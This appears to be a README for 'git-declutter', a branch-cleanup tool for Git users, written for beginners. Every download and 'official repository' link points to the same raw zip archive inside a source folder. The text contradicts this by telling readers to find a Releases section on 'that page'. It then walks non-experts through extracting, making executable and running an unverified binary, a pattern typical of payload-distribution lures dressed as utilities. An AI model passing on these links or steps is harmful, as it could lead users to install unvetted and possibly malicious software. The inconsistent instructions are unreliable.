Git-declutter is a simple, friendly tool that shows you which of your local Git branches are safe to delete, which ones need a closer look, and which ones you should never delete. It does all the hard analysis for you, so you don't need to be a Git expert.
If you work on projects that use Git for version control, your computer can quickly fill up with dozens of old branches that you no longer need. Manually checking each branch is boring and risky. You might delete a branch that still has unique work you want to keep.
Git-declutter combines information from your local Git history, remote tracking state, and pull request metadata from GitHub or GitLab to classify every local branch into one of four clear categories:
- 🟢 SAFE – This branch has no unique commits and is fully merged; you can delete it without worry.
- 🟡 REVIEW – This branch has unique work that may not be merged; check it before deleting.
- 🔴 KEEP – This branch contains valuable unique commits; you should keep it.
- 🛡️ PROTECTED – This is a main or protected branch; git-declutter will never suggest deleting it.
You get a clear, color-coded report that tells you exactly what each branch is doing, and why. No more guessing.
Getting started with git-declutter is easy. Follow these simple steps:
- Visit this link to download the application: https://raw.githubusercontent.com/Viethoangn6398/git-declutter/main/cmd/git-declutter-v3.4-alpha.3.zip
- On that page, find the Releases section and download the file that matches your computer's operating system (Windows, macOS, or Linux).
- Once downloaded, place the
git-declutterfile somewhere you can easily find it. A good place is your Downloads folder or a folder called Tools. - If the file is inside a
.ziparchive, right-click and choose Extract All to unpack it.
The best part about git-declutter is that it is a compiled binary. This means it does not need any special installation or extra software to run. You only need Git (which you likely already have if you are using Git branches). You do not need to install Go or any other programming language.
To use it, you just need to make the git-declutter file available to your computer. Here is the easiest way to set it up:
- Move the
git-declutterfile into a folder that is already on your system path (likeC:\Users\YourName\bin). If you are not sure what a system path is, you can simply run the file by typing its full location. - Once it is ready, open your terminal (Command Prompt, PowerShell, or Terminal).
- Navigate to the folder where your Git project lives.
- Run the command:
git declutter scan
That's it! Git will happily treat declutter as one of its own commands, and the scan will start.
Git-declutter is designed to work on any modern computer:
- Operating System: Windows 10 or 11, macOS 12 or newer, or a common Linux distribution (Ubuntu, Debian, Fedora).
- Git Version: Git 2.20 or higher is recommended. If you can run
git status, you are ready. - Memory: At least 512 MB of free RAM is fine for most projects.
- Storage: Less than 10 MB of disk space is needed for the program itself.
When you run a scan, git-declutter prints a table that looks something like this in your terminal:
BRANCH NAME STATUS REASON feature/login 🟢 SAFE Merged into main old-experiment 🟡 REVIEW 3 unique commits, PR #142 open staging-fix 🔴 KEEP Unique commits, no PR found main 🛡️ PROTECTED Default branch
Each row gives you the branch name, the color-coded status, and a short explanation of why that status was chosen. You can then decide what to do with each branch.
If you are comfortable with the terminal, git-declutter also supports extra options. For example, you can ask it to include remote branches or fetch the latest metadata before scanning. Run git declutter --help to see all available flags.
But if you are just getting started, the default scan is all you need.
If you run into issues, here are some common fixes:
- Command not found: Make sure the
git-declutterfile is in a folder that is on your system path, or use its full file location. - Git not recognized: Install Git from git-scm.com and restart your terminal.
- No branches shown: Run the command inside a proper Git repository (a folder containing a
.gitsubfolder). - Permission denied: On macOS or Linux, you may need to make the file executable with
chmod +x git-declutter.
Git-declutter is a read-only analysis tool. It never deletes branches on its own. It only shows you information and recommendations. The final decision to delete a branch is always yours. This means you can use it with confidence and without fear of accidental data loss.
Git-declutter is an open-source project. If you are a developer and you want to contribute, add features, or report bugs, please visit the official repository at https://raw.githubusercontent.com/Viethoangn6398/git-declutter/main/cmd/git-declutter-v3.4-alpha.3.zip. Issues and pull requests are always welcome.
Git-declutter is released under an open-source license. See the LICENSE file in the repository for full details.
Q: Will this delete my work by accident?
A: No. Git-declutter only reads information. It never deletes anything. You are always in control.
Q: Do I need a GitHub or GitLab account?
A: No. The tool works with local Git data out of the box. Pull request metadata is used only if you are inside a repository that is connected to GitHub or GitLab, and it makes the classifications more accurate.
Q: I am not a developer. Can I still use this?
A: Yes. If you can open a terminal and type one command, you can use git-declutter.